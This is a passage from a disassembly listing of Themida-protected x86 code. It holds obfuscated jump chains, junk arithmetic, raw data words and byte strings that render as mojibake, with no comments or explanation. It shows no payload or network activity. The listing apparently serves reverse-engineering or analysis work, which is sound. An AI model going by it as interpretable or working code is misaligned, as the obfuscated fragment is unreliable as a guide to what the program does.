XREF: Themida_:00552591j and ecx, edx mov edx, [esp] add esp, 4 shr ecx, 7 push dword ptr [edi+1Ch] push dword ptr [esp] push dword ptr [esp] jmp loc_54F7BB ; --------------------------------------------------------------------------- dw 34FFh dd 89575B24h, 4EC83E7h, 2955E9h db 0 ; --------------------------------------------------------------------------- loc_54F52D: ; CODE XREF: Themida_:00552297j add edi, esi pop esi push 292Eh mov [esp], ebp push eax push 1AB16D5h pop eax or eax, 7C1762CEh shl eax, 3 push ebx jmp loc_54928F ; --------------------------------------------------------------------------- aSse db 'SИ╔>',0 dw 8100h aNmfsB db 'ф#█▄ДИ╢b',0 align 2 loc_54F55E: ; CODE XREF: Themida_:00548BDDj sub eax, edi pop edi not eax not eax shr eax, 6 add eax, 23CB360Dh sub eax, 16C6F711h sub ebp, eax jmp loc_54A5F0 ; --------------------------------------------------------------------------- db 1, 0DDh, 5Bh dd 2474FF55h, 29E1E904h, 0F3810000h, 0D2CCAE3Fh, 659868h dd 241C8900h, 241C8B5Ah, 8104C483h, 5B7C6FEBh, 42E9507Dh dd 58000069h, 0EB81D301h, 43D57175h, 8124148Bh, 4C4h, 0B1E95100h dd 0B9000061h, 4, 3359CA29h, 14312414h, 581FE924h, 9FBF0000h dd 0C12D5E0Fh, 0EFC108EFh, 4E7C105h, 488068h, 24148900h dd 4FEAE9h db 0 ; --------------------------------------------------------------------------- loc_54F5ED: ; CODE XREF: Themida_:00550D3Ej mov edi, 457E05ABh push edx jmp loc_546933 ; --------------------------------------------------------------------------- dd 3D5DE381h, 0CB813D7Fh, 77C10BADh, 34E6BA52h, 0EAC12801h dd 0DAF74A05h, 7CE4BD55h, 0C581653Dh, 28326281h, 44A9F581h dd 0BE561CF8h, 459B25C8h, 381EE681h, 0B5E9743Fh, 68000048h dd 0E7Dh, 0FF240489h, 34FF2434h, 50515824h, 0FFCA99E9h db 0FFh ; --------------------------------------------------------------------------- loc_54F649: ; CODE XREF: Themida_:00550B7Aj add eax, 4 push ecx mov ecx, 68092FE0h or ecx, 31EF4BC3h or ecx, 5B7F1655h add ecx, 8400800Dh sub eax, ecx pop ecx push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] mov esp, [esp] mov [esp], esi mov esi, 31E633F5h jmp loc_544779 ; --------------------------------------------------------------------------- dw 0B450h dd 58E188F7h, 587FE9h db 0 ; --------------------------------------------------------------------------- loc_54F68D: ; CODE XREF: Themida_:00556CF3j pop edi jmp loc_54B3DA ; --------------------------------------------------------------------------- db 8Bh dd 8951241Ch, 4C181E1h, 83000000h, 74E904C1h, 5C000015h dd 1C31E9h, 4C38100h, 81000000h, 4EBh, 0E3D0E900h, 0E95CFFFFh dd 0FFFF3BD7h, 0C104C483h, 0E6C105EEh, 0C897E907h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F6D2: ; CODE XREF: Themida_:00557E30j push ebx mov ebx, 70266B26h add ebx, 4FD22A7Fh and ebx, 41BE2146h and ebx, 54714ABFh add ebx, 76942B94h xor edi, ebx pop ebx not edi sub edi, 86F1BECFh jmp loc_55106F ; --------------------------------------------------------------------------- dd 1972AE68h, 240C8B4Eh, 4C481h, 1EE90000h, 68FFFF93h dd 212Dh, 0BA241489h, 1F871813h, 535DEB81h, 58E923DDh dd 8100008Ch, 570C6AF6h, 0C14E4E3Bh, 0C68103EEh, 0F46470DAh dd 515EF301h, 0FFA7C2E9h, 4C481FFh, 80000000h, 0F2808DC2h dd 0A9C380A1h, 5266D328h, 92E9A9B2h db 10h, 2 dup(0) byte_54F75F db 66h ; DATA XREF: Themida_:00543210o dd 81240C8Bh, 4ECh, 24148900h, 5351E289h, 0A26CC68h, 0E3815B44h dd 7DBD36F8h, 115AEB81h, 73E94B33h db 53h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54F787: ; CODE XREF: Themida_:005462D3j mov edx, [esp] add esp, 4 shr esi, 8 jmp loc_54626D ; --------------------------------------------------------------------------- loc_54F798: ; CODE XREF: Themida_:005534A0j mov [esp], ecx jmp loc_54355A ; --------------------------------------------------------------------------- loc_54F7A0: ; CODE XREF: Themida_:00557D6Ej add esp, 4 add esp, 4 push eax jmp loc_54856A ; --------------------------------------------------------------------------- loc_54F7AF: ; CODE XREF: Themida_:005520E4j mov eax, esp add eax, 4 jmp loc_5511FD ; --------------------------------------------------------------------------- loc_54F7BB: ; CODE XREF: Themida_:0054F519j push dword ptr [esp] pop eax add esp, 4 sub esp, 4 mov [esp], edi mov edi, esp push esi mov esi, 40267AACh shr esi, 4 neg esi dec esi jmp loc_543E2C ; --------------------------------------------------------------------------- db 5 dd 79462BC0h, 1560992Dh, 0A7BB5304h, 0E93AC809h, 3461h dd 0E9243C8Bh, 31E0h, 0E7E95E52h, 81000004h, 0C3C1FCEAh dd 2FB85082h, 0E90E1966h, 0FFFF5F97h, 0E9703F68h, 44815A36h dd 47840424h, 54011012h, 6C810424h, 47840424h, 32E91012h dd 0BD000084h, 333E22ADh, 0E5C1DDF7h, 0A6CD8103h, 812C7339h dd 0B1CB9CDh, 0BBED8118h, 17E7FFFh, 0E5E95DEEh, 83FFFF86h dd 8CE904C4h db 57h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54F85B: ; CODE XREF: Themida_:00551CF5j neg ebx neg ebx jmp loc_545ECD ; --------------------------------------------------------------------------- dd 83242489h, 0E9042404h, 0FFFFF135h, 8B59C801h, 0C481242Ch dd 4, 31240433h, 21E92404h, 0B7FFFFA2h, 56EF80E9h, 685BF800h dd 66F0h, 0B2241489h, 0F6CAFEF8h, 66C2FED2h, 0CF4BE953h dd 4BAFFFFh, 29903D29h, 24148BD7h, 4C481h, 0CCE90000h dd 66000000h, 2404AB0Fh, 0DB43E99Ch db 2 dup(0FFh) word_54F8C6 dw 0AD66h ; DATA XREF: Themida_:005430F8o dd 53D83166h, 0FA4BB66h, 0A3E38166h, 0A1686661h, 0C89662Eh dd 69DAE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54F8E2: ; CODE XREF: Themida_:00555301j add edi, ecx pop ecx push dword ptr [esp] jmp loc_5443CD ; --------------------------------------------------------------------------- loc_54F8ED: ; CODE XREF: Themida_:0054A6C5j and eax, esi mov esi, [esp] jmp loc_555C03 ; --------------------------------------------------------------------------- db 51h dd 967233B9h, 0F8B85023h, 91DEC18h, 6BE4E9C1h, 0F1810000h dd 4D500429h, 4A6FEF81h, 0EF815755h, 7A2973CFh, 0FF49CAE9h dd 0CF685DFFh, 8900004Bh, 4FB9240Ch, 53653F3Bh, 188EE9h dd 535B6600h, 0CD2C56B3h, 0CD04D828h, 2EC835Bh, 241C8966h dd 7E045FB7h, 0FFF73BE9h db 0FFh ; --------------------------------------------------------------------------- loc_54F951: ; CODE XREF: Themida_:0055306Fj push edx mov edx, 51A1789Ch xor edx, 5B8812F9h shr edx, 8 sub edx, 7F4540C1h add edx, 0EFB1454Ch jmp loc_54D2EC ; --------------------------------------------------------------------------- byte_54F971 db 0FFh, 77h, 2Ch ; DATA XREF: Themida_:005430A4o dd 0FF3922E9h, 2C8152FFh, 0F02E9D24h, 50E95879h, 29FFFF86h dd 0EE015FFEh, 693AC681h, 0E95D1114h, 0FFFFF345h, 0E9C28142h dd 1BD0504h, 999AE9D7h, 1489FFFFh, 61E0BA24h, 0C14255C1h dd 0E2C104E2h, 0FE45E905h, 0D1F7FFFFh, 0BA524141h, 1, 0C15AD101h dd 14E906E1h, 50000079h, 42474FFh, 0E924048Bh, 0FFFF52ABh ; --------------------------------------------------------------------------- loc_54F9DC: ; CODE XREF: Themida_:00548342j mov esi, [esp] sub esp, 4 mov [esp], esi push 2FEDh jmp loc_551BA6 ; --------------------------------------------------------------------------- loc_54F9F2: ; CODE XREF: Themida_:005566A8j add esp, 4 sub esp, 4 mov [esp], esi mov esi, 4 add edx, esi jmp loc_5563DC ; --------------------------------------------------------------------------- db 89h dd 4832424h, 0C8B0424h, 4C48124h, 50000000h, 468h, 0A7E95800h dd 8BFFFFC9h, 0C481241Ch, 4, 0CD56E956h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FA32: ; CODE XREF: Themida_:0054EA1Dj sub [esp+4], ebx pop ebx mov ecx, [esp] push edx mov edx, esp jmp loc_5580B5 ; --------------------------------------------------------------------------- dw 433h dd 24043124h, 7C9BE9h, 0C8B5B00h, 0E2895224h, 7FDCBE56h dd 0E6C10983h, 0BDACE905h, 0E952FFFFh, 39h ; --------------------------------------------------------------------------- loc_54FA68: ; CODE XREF: Themida_:00554646j mov esi, 35BCD675h jmp loc_54D2D8 ; --------------------------------------------------------------------------- aAiAP db '─К#─ц╞',0 aAipso db 'ц─К╞И▌*',0 align 2 dw 0C281h dd 4, 3304C283h, 14312414h, 24143324h, 0FFB081E9h db 0FFh ; --------------------------------------------------------------------------- loc_54FA99: ; CODE XREF: Themida_:00553678j sub ecx, 4 jmp loc_550D0C ; --------------------------------------------------------------------------- db 0BAh, 4, 0 dd 0CAE90000h db 0C8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FAAB: ; CODE XREF: Themida_:00557637j push 352Ch jmp loc_54A4BD ; --------------------------------------------------------------------------- loc_54FAB5: ; CODE XREF: Themida_:0054AFE2j xor esi, 0D268EDFCh add ecx, esi pop esi jmp loc_554169 ; --------------------------------------------------------------------------- loc_54FAC3: ; CODE XREF: Themida_:005449F1j add esp, 4 add esp, 4 shr eax, 0Bh jmp loc_553445 ; --------------------------------------------------------------------------- loc_54FAD4: ; CODE XREF: Themida_:0054ABFDj add ebx, esi pop esi xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] mul ecx push 4AC3h mov [esp], edx push eax pushf jmp loc_54329B ; --------------------------------------------------------------------------- loc_54FAF4: ; CODE XREF: Themida_:00554903j push 34F97E4Ah pop ebx inc ebx jmp loc_555CF2 ; --------------------------------------------------------------------------- dd 0E950515Ah, 0FFFF5929h, 9CB7535Bh, 0D7F6D7F6h, 0FE9EC780h dd 0B25266C7h, 0E9D7300Eh, 0FFFFB385h ; --------------------------------------------------------------------------- loc_54FB20: ; CODE XREF: Themida_:0054C079j add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp sub esi, 64F08CEBh jmp loc_551B19 ; --------------------------------------------------------------------------- db 68h dd 152970E2h, 6EBC15Bh, 5238E943h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FB4A: ; CODE XREF: Themida_:0054593Aj sub edx, 4 xchg edx, [esp] pop esp mov [esp], ebx push ecx jmp loc_54B4E5 ; --------------------------------------------------------------------------- dw 15Dh dd 0E3E95AD0h, 33FFFF6Bh, 1C31241Ch, 241C3324h, 8F24248Bh dd 248B2404h, 48B6624h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_558060 ; --------------------------------------------------------------------------- loc_54FB81: ; CODE XREF: Themida_:00553303j add eax, ebx pop ebx xor eax, [esp] xor [esp], eax jmp loc_548C9F ; --------------------------------------------------------------------------- db 5Bh dd 4B951h, 0B8E90000h, 0BA00004Fh, 4, 2B26DC2Dh, 4C0E2D68h dd 0E7E91621h, 8100000Bh, 31087CE9h, 0D5EE8121h, 81552966h dd 7A115AEEh, 81CE2973h, 7A115AC6h, 221AE973h, 2C890000h dd 0E95D5424h, 0FFFF96ECh, 0E9241C89h, 0FFFF4199h dword_54FBE0 dd 240C8B66h, 5E08950h, 4, 0FFE228E9h, 46856FFh, 89000065h ; DATA XREF: Themida_:00543130o dd 22B9240Ch, 8977EA01h, 0EEC159CEh, 51D6F707h, 0B9h, 89F12900h dd 13A7E9CEh, 0E9540000h, 0FFFF3E85h, 4BDh, 8BEA0100h dd 71E9242Ch db 39h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FC2B: ; CODE XREF: Themida_:0055483Fj mov bl, al mov eax, [esp] add esp, 4 add bl, 0B0h add bl, 0ACh sub bl, 79h jmp loc_551C0B ; --------------------------------------------------------------------------- loc_54FC44: ; CODE XREF: Themida_:0054938Bj pop edx xor eax, [esp] xor [esp], eax jmp loc_54E37B ; --------------------------------------------------------------------------- dd 56E08950h, 76316FBEh, 0F3CE8133h, 8140E123h, 320293F6h dd 0EE814E42h, 31C53167h, 1A22E9h db 0 byte_54FC71 db 0FFh, 34h, 24h ; DATA XREF: Themida_:00543030o dd 2338E9h, 62A66800h, 0C15B1105h, 0C38102EBh, 4E182180h dd 0F7A5C381h, 0DA89F4EBh, 0FF5CE8E9h, 4B8FFh, 0C3010000h dd 2C38358h, 0C6068h, 241C8900h, 42474FFh, 81241C8Bh, 4C4h dd 24048F00h, 0FF3B58E9h, 74FF53FFh, 0F7E90424h, 0C100003Ch dd 0C58305EDh, 4E5C1FFh, 33BBE9h, 24248B00h, 9C243CD3h dd 0FFB987E9h, 35B5E9FFh, 15AFFFFh, 74C2E9F7h, 0A8E90000h dd 8BFFFF35h, 0E955240Ch, 545Eh, 5724248Bh, 4BFh, 5FFB0100h dd 4EB81h, 1C330000h, 241C3124h, 8B241C33h, 88E92424h dd 5900003Bh, 8B240487h, 34FF2424h, 9D50E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FD2E: ; CODE XREF: Themida_:0055447Aj sub ecx, 6C023D21h jmp loc_5501BC ; --------------------------------------------------------------------------- db 51h, 5Bh, 59h dd 31D93159h, 81D931CBh, 0E8F202F1h, 0A6EE81C2h, 29435E68h dd 0A6C681CEh, 8B435E68h, 8956240Ch, 4C681E6h, 0E9000000h dd 0FFFFE1E5h ; --------------------------------------------------------------------------- loc_54FD68: ; CODE XREF: Themida_:005531DAj xchg edi, ebp add ebp, 68610894h add ecx, ebp pop ebp sub ecx, 792873E1h sub ecx, 2B1B30FCh push dword ptr [esp] pop ebp add esp, 4 xor eax, ecx pop ecx xor ebx, eax push small word ptr [eax] jmp loc_54329B ; --------------------------------------------------------------------------- aLS db '▀$$И',0 ; DATA XREF: Themida_:005430A8o dd 81FFFF35h, 0B6D527EAh, 8BD1299Eh, 0C4812414h, 4, 34FFC829h dd 240C8B24h, 8104C483h, 4C4h, 0B0CBE900h, 34FFFFFFh, 24148B24h dd 8104C483h, 4ECh, 24048900h, 405E089h, 55000000h, 4BDh dd 5DE80100h, 5C240487h, 4BE56h, 0F2010000h, 2BCAE9h, 4C18100h dd 0E9000000h, 0FFFF594Eh ; --------------------------------------------------------------------------- loc_54FE00: ; CODE XREF: Themida_:0055392Fj add esp, 4 add esi, 0F4B8489Dh and eax, esi pop esi or eax, eax jmp loc_544F4F ; --------------------------------------------------------------------------- aBislb db '│К≤l│',0 db 1, 0D9h, 8Bh dd 0C481241Ch, 4, 4C181h, 0C870000h, 24248B24h, 66B0E955h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FE36: ; CODE XREF: Themida_:0054F500j mov [esp], esp push edi mov edi, 4 add [esp+4], edi mov edi, [esp] add esp, 4 pop edx push ebx mov ebx, 5E392BCEh add ebx, 5B7EF2h sub ebx, 5E94AABCh sub edx, 45A41AB4h sub edx, 71B068A9h sub edx, 15516E94h add edx, ebx jmp loc_553C51 ; --------------------------------------------------------------------------- loc_54FE78: ; CODE XREF: Themida_:0054A179j xor ebp, 2C2A616Ah add ecx, 4C8C7342h jmp loc_5521DA ; --------------------------------------------------------------------------- db 57h, 0BFh, 0A6h dd 0E95B4912h, 0FFFF3CDDh, 9B240CB8h, 4F6E3521h, 0C1014E41h dd 0FF634AE9h, 30D330FFh, 4FC280DAh, 1766E9h, 47E95400h db 0A2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FEB7: ; CODE XREF: Themida_:0054D41Dj add eax, ebx jmp loc_54D169 ; --------------------------------------------------------------------------- loc_54FEBE: ; CODE XREF: Themida_:00555645j and ebx, edx push dword ptr [esp] pop edx add esp, 4 jmp loc_54D77A ; --------------------------------------------------------------------------- loc_54FECF: ; CODE XREF: Themida_:0054CF69j xchg ecx, [esp] pop esp push ebp push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], edi mov edi, 63E1676Ch neg edi sub esp, 4 mov [esp], eax mov eax, 1A624297h not eax jmp loc_54A6ED ; --------------------------------------------------------------------------- dw 575Eh dd 4BFh, 5FF80100h, 0FF7BB8E9h, 0E9DEF6FFh, 0FFFF4865h ; --------------------------------------------------------------------------- loc_54FF1C: ; CODE XREF: Themida_:0054F4B6j add edi, 4 jmp loc_547D5E ; --------------------------------------------------------------------------- loc_54FF24: ; CODE XREF: Themida_:005558F1j shl esi, 3 and esi, 781F5F51h jmp loc_55228E ; --------------------------------------------------------------------------- dw 4BAh dd 1000000h, 5A042454h, 0E9242C8Bh, 6D3Dh, 39E9E889h db 10h, 2 dup(0) byte_54FF4B db 66h ; DATA XREF: Themida_:005430ECo dd 53240C8Bh, 0FFEAE1E9h db 0FFh ; --------------------------------------------------------------------------- loc_54FF55: ; CODE XREF: Themida_:005552F7j neg ebx shr ebx, 6 add ebx, 0FC20A06Eh add eax, ebx jmp loc_549E41 ; --------------------------------------------------------------------------- loc_54FF67: ; CODE XREF: Themida_:005444D3j push dword ptr [esp] pop eax push ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_551BF2 ; --------------------------------------------------------------------------- loc_54FF7C: ; CODE XREF: Themida_:0054ABB4j pop edi jmp loc_5490CF ; --------------------------------------------------------------------------- dw 0B951h dd 4, 0C8BCD01h, 0A40E924h, 2C330000h, 6A12E924h, 0D828FFFFh dd 392CF304h, 24B25266h, 1B60E9h db 0 ; --------------------------------------------------------------------------- loc_54FFA9: ; CODE XREF: Themida_:00556B5Bj pop edx xor al, cl jmp loc_545619 ; --------------------------------------------------------------------------- db 0F7h, 0D2h, 81h dd 15367F2h, 8BD03164h, 89502414h, 405E0h, 4050000h, 87000000h dd 515C2404h, 601E2CB9h, 68E9E946h, 0BD55FFFFh, 230A6C88h dd 0E95DEE01h, 0FFFFC4A5h, 28FFBA52h, 0E281256Dh, 5B334D68h dd 9AFFE94Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FFFA: ; CODE XREF: Themida_:00544307j xor esi, 3409415Dh add ecx, esi pop esi pop esi push 0CB3h mov [esp], eax mov eax, 4 add ecx, eax pop eax sub esp, 4 mov [esp], ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] mov esp, [esp] sub esp, 4 mov [esp], ecx mov ecx, eax push esi mov esi, esp jmp loc_54B257 ; --------------------------------------------------------------------------- db 5Eh, 55h, 0BDh dd 36294469h, 0CC49E953h, 0C05AFFFFh, 0CBFE08E3h, 0C006E3C0h dd 0E95102E3h, 0FFFFC1D0h, 0FF3242E9h, 0E9E956FFh, 8BFFFFC7h dd 24D22424h, 0C2E99C24h db 47h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55006B: ; CODE XREF: Themida_:0054398Ej add edx, 4 xchg edx, [esp] pop esp pop dword ptr [esp] pop esp push ebx push 5D98h mov [esp], eax jmp loc_546B85 ; --------------------------------------------------------------------------- aPAJs2z db 'P╦тaрJИ2Z',0 align 2 loc_550092: ; CODE XREF: Themida_:0054D69Bj push 51BD2A6Fh pop ebx shl ebx, 6 sub ebx, 1A1049F4h jmp loc_548F45 ; --------------------------------------------------------------------------- dw 0F0E9h dd 89FFFF31h, 4812424h, 424h, 0E9525D00h, 0FFFFAA6Ah ; --------------------------------------------------------------------------- loc_5500BC: ; CODE XREF: Themida_:00546D4Dj push eax mov eax, 33D523ACh and edi, eax mov eax, [esp] add esp, 4 jmp loc_5433EB ; --------------------------------------------------------------------------- db 80h dd 0C200C0C2h, 80C0EA80h, 73E953EAh db 4Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_5500DF: ; CODE XREF: Themida_:00557782j dec ebx jmp loc_556821 ; --------------------------------------------------------------------------- db 68h, 0AEh, 15h dd 24890000h, 24048324h, 0C3815B04h, 4, 4B04E952h, 5B350000h dd 2D6DB921h, 68FC2E33h, 8158C689h, 6E28F4F6h, 0EAE6810Bh dd 68602873h, 3373h, 89243C89h, 4C781E7h, 81000000h, 4EFh dd 773DE900h, 1C33FFFFh, 5D69E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55013A: ; CODE XREF: Themida_:00558033j push edx push 48984FC2h mov edx, [esp] add esp, 4 jmp loc_5508F8 ; --------------------------------------------------------------------------- dw 0C381h dd 4, 0E904EB83h, 0FFFFC98Ch, 0C3815B54h, 4, 21FB68h, 3157E900h dd 405FFFFh, 0E9000000h, 0FFFFE785h, 0FC3305Bh, 4EE9C0B6h dd 5CFFFF52h, 0BA241489h, 3ED78897h, 34FFD031h, 24148B24h dd 662368h, 0FA30E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55019E: ; CODE XREF: Themida_:005467A5j add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp pop eax sub cl, 0FFh jmp loc_5490C8 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFF30DFh ; --------------------------------------------------------------------------- loc_5501BC: ; CODE XREF: Themida_:0054FD34j sub ecx, edi jmp loc_545155 ; --------------------------------------------------------------------------- db 0BAh dd 0BE401E7h, 0FF9FB1E9h db 0FFh ; --------------------------------------------------------------------------- loc_5501CD: ; CODE XREF: Themida_:0054DBF3j mov [esp], ebx push ecx mov ecx, 1842D13h push 7138h mov [esp], eax push ecx push edx jmp loc_54ECA6 ; --------------------------------------------------------------------------- loc_5501E5: ; CODE XREF: Themida_:00548142j pop edi xor esi, 0D542825h xor ecx, esi pop esi sub esi, ecx pop ecx shr esi, 1 push eax jmp loc_54A9E1 ; --------------------------------------------------------------------------- dw 0BB53h dd 4, 17E9DD01h, 89FFFFF3h, 0E189240Ch, 4C181h, 0C1830000h dd 0E1C7E904h, 74FFFFFFh, 3C8B0424h, 0E870E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550226: ; CODE XREF: Themida_:0054A926j mov esi, esp push ebx mov ebx, 1E4E0CEDh push edi mov edi, 78A84C61h or edi, 4B217A36h neg edi sub edi, 660874A0h sub ebx, edi mov edi, [esp] add esp, 4 add esi, ebx pop ebx push 6452h mov [esp], ebx mov ebx, 4 add esi, ebx pop ebx xchg esi, [esp] jmp loc_54BACF ; --------------------------------------------------------------------------- aBHlkSsf db '│фhLK',1Bh,'И≤F',0 align 10h dd 5A2434FFh, 4EC81h, 14890000h, 81E28924h, 4C2h, 11FAE900h dd 0C4830000h, 8A97E904h, 248BFFFFh, 0F9F76624h, 45096866h dd 24148966h, 0E99C5066h, 0FFFF2FF3h, 7969EA81h, 0E9556DD1h dd 0FFFF47FCh ; --------------------------------------------------------------------------- loc_5502B4: ; CODE XREF: Themida_:00546CE3j mov edx, 4 add esi, edx pop edx xchg esi, [esp] mov esp, [esp] and ebp, ecx pop ecx sub ebp, 10510A83h and ecx, ebp push dword ptr [esp] mov ebp, [esp] add esp, 4 push esi mov esi, esp add esi, 4 add esi, 4 jmp loc_54C70C ; --------------------------------------------------------------------------- aMsw db '╛Иw#',0 ; DATA XREF: Themida_:00543160o dw 8900h dd 0D2E9243Ch, 0FFFFFF64h, 0C8B2434h, 46E95224h, 1000012h dd 242C8BE8h, 4C481h, 0A4680000h, 0E9000035h, 0FFFFCEA0h ; --------------------------------------------------------------------------- loc_55031C: ; CODE XREF: Themida_:0055188Dj add dword ptr [esp], 4 push dword ptr [esp] jmp loc_549097 ; --------------------------------------------------------------------------- dd 0E9E28952h, 0FFFFA137h ; --------------------------------------------------------------------------- loc_550330: ; CODE XREF: Themida_:00558080j push esi push edx mov edx, 23EE7E48h mov esi, edx pop edx push esi mov ebp, [esp] add esp, 4 pop esi jmp loc_554447 ; --------------------------------------------------------------------------- loc_55034A: ; CODE XREF: Themida_:00551D4Bj mov esi, 2C5235B5h jmp loc_552E38 ; --------------------------------------------------------------------------- loc_550354: ; CODE XREF: Themida_:00550715j xor [esp], ebp xor ebp, [esp] mov esp, [esp] dec edx push eax push 4B845175h pop eax jmp loc_54A4C5 ; --------------------------------------------------------------------------- word_55036A dw 31ADh ; DATA XREF: Themida_:0054303Co dd 4EC81D8h, 89000000h, 0D4682414h, 8900006Dh, 0E0892404h dd 405h, 42D00h, 4870000h, 560CE924h, 0C89FFFFh, 4EC8324h dd 83242489h, 59042404h, 23DD68h, 24348900h, 4BEh, 8BF10100h dd 0C4812434h, 4, 4C181h, 0C330000h, 240C3124h, 8B240C33h dd 5B682424h, 0E9000049h, 5D04h, 73E997B0h, 1FFFFAFh, 875E5FF8h dd 248B2404h, 47E6E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5503EA: ; CODE XREF: Themida_:0054B751j mov edx, 0AA91639h jmp loc_5495AC ; --------------------------------------------------------------------------- aQsbm db 'QИ│m',0 align 2 loc_5503FA: ; CODE XREF: Themida_:0054C205j add ebx, edi sub ebx, 309B2F96h jmp loc_5460DF ; --------------------------------------------------------------------------- loc_550407: ; CODE XREF: Themida_:00550E64j add esi, 4 xchg esi, [esp] jmp loc_557306 ; --------------------------------------------------------------------------- loc_550415: ; CODE XREF: Themida_:00544331j xchg esi, [esp] pop esp jmp loc_544D7A ; --------------------------------------------------------------------------- dw 815Dh dd 0EF7DF4EBh, 5BDA89FFh, 23E9D129h, 81000025h, 1E05DBF3h dd 11EB816Ch, 5644044Dh, 7D3181BEh, 5EF30141h, 8351F381h dd 0DF293FACh, 0E9534F5Bh, 7999h ; --------------------------------------------------------------------------- loc_550454: ; CODE XREF: Themida_:0055106Aj xchg eax, edx pop edx and eax, 131A285Bh xor eax, 32B3519Dh xor eax, 6D6124E5h not eax jmp loc_557A7B ; --------------------------------------------------------------------------- dd 0E9C7895Ah, 0FFFFE358h, 0B0505858h, 58C3280Bh, 9CC380h dd 9CEB80C3h, 0E90BC380h, 0FFFF7011h, 430368h, 24148900h dd 0E99C50h, 53FFFF2Eh, 9C0E84BBh, 0E95F5315h, 0FFFF7239h dd 2BEh, 5EF00100h, 8B240487h, 0F662424h, 9C2404ABh, 0FF2DDAE9h db 0FFh ; --------------------------------------------------------------------------- loc_5504C1: ; CODE XREF: Themida_:0054D24Bj and ecx, edx pop edx jmp loc_5488A8 ; --------------------------------------------------------------------------- byte_5504C9 db 64h, 8Fh, 2 ; DATA XREF: Themida_:00543204o dd 0FFE20DE9h, 29A52DFFh, 652D7020h, 293C7F17h, 0AB05E9D8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5504E2: ; CODE XREF: Themida_:00543B6Cj mov esp, [esp] jmp loc_54D829 ; --------------------------------------------------------------------------- loc_5504EA: ; CODE XREF: Themida_:00551E37j dec edi xor edi, 52240BC3h push edi pop esi pop edi push edx push esi mov esi, 60558A2h dec esi xor esi, 141966F9h jmp loc_54C8B0 ; --------------------------------------------------------------------------- db 50h dd 42474FFh, 8324048Bh, 48F04C4h, 24248B24h, 774B6853h dd 34890000h, 5CE3BE24h, 0EC816107h, 4, 55243C89h, 0BD3BFDBDh dd 4E83BF47h, 99E90A15h, 81FFFF5Dh, 4C5h, 23BB5300h, 816F1338h dd 3D0A90E3h, 8DEB8126h, 0F7220E7Ah, 13CB81D3h, 4B50ED5Dh dd 7F9AEB81h, 0DD29FBFDh, 0FFA578E9h, 0E94A5AFFh, 0FFFFEE12h ; --------------------------------------------------------------------------- loc_550574: ; CODE XREF: Themida_:005514C4j sub ebx, 74857015h push dword ptr [esp] pop edx add esp, 4 sub esp, 4 mov [esp], ebx jmp loc_544129 ; --------------------------------------------------------------------------- db 97h dd 8904EC83h, 0A8E9242Ch, 5FFFFF72h, 4EC81h, 34890000h dd 2474FF24h, 24348B04h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_547AAE ; --------------------------------------------------------------------------- loc_5505BA: ; CODE XREF: Themida_:0054E8B2j add ebx, eax pop eax add ebx, 4 xchg ebx, [esp] pop esp pop ecx jmp loc_54329B ; --------------------------------------------------------------------------- db 0C0h, 0E0h, 3 dd 5524FF04h, 0A1E9ED34h, 43000062h, 22BBF381h, 0F3811D2Dh dd 31E356C6h, 8108EBC1h, 6A0BF9E3h, 0FF3815Dh, 0E9FF9DE3h dd 4D0Ah, 0DC2FE95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550602: ; CODE XREF: Themida_:005470F1j push eax mov eax, 479D6C13h xor eax, esi jmp loc_553D0F ; --------------------------------------------------------------------------- a34Srf db '34$ИЮF',0 dw 8B00h dd 0C0E92414h, 0E9FFFF36h, 0FFFF2C77h ; --------------------------------------------------------------------------- loc_550624: ; CODE XREF: Themida_:00554921j add ebp, ebx pop ebx push ebp jmp loc_554457 ; --------------------------------------------------------------------------- loc_55062D: ; CODE XREF: Themida_:00555D8Fj add esi, 4 xchg esi, [esp] pop esp and eax, ebx mov ebx, [esp] add esp, 4 or edx, eax shl edx, 1 push eax push ebp mov ebp, 24h mov eax, ebp pop ebp add eax, edi push 6699h mov [esp], edi jmp loc_555886 ; --------------------------------------------------------------------------- loc_550659: ; CODE XREF: Themida_:0054BB10j mov [esp], esi push 0 mov esi, [esp] jmp loc_5449C7 ; --------------------------------------------------------------------------- db 5Bh, 55h, 0BDh dd 620F2B2Ah, 0F8E9DDF7h, 89FFFF56h, 0EB815AD3h, 5D710600h dd 21E94343h, 31000056h, 0C33240Ch, 24248B24h, 0FF2434FFh dd 83582434h, 895604C4h, 4C681E6h, 83000000h, 348704EEh dd 2C895C24h, 0EDA2E924h, 0C31FFFFh, 240C3324h, 8924248Bh dd 6968241Ch, 8900003Bh, 0EC832424h, 240C8904h, 4B9h, 24448100h dd 923EB504h, 244C0132h, 246C8104h, 923EB504h, 2434FF32h dd 4C48359h, 6B5BE95Bh, 0E95B0000h, 0FFFFBC06h, 0FF24248Bh dd 48B2434h, 4C48324h, 4EC81h, 0BCE90000h db 1Bh, 2 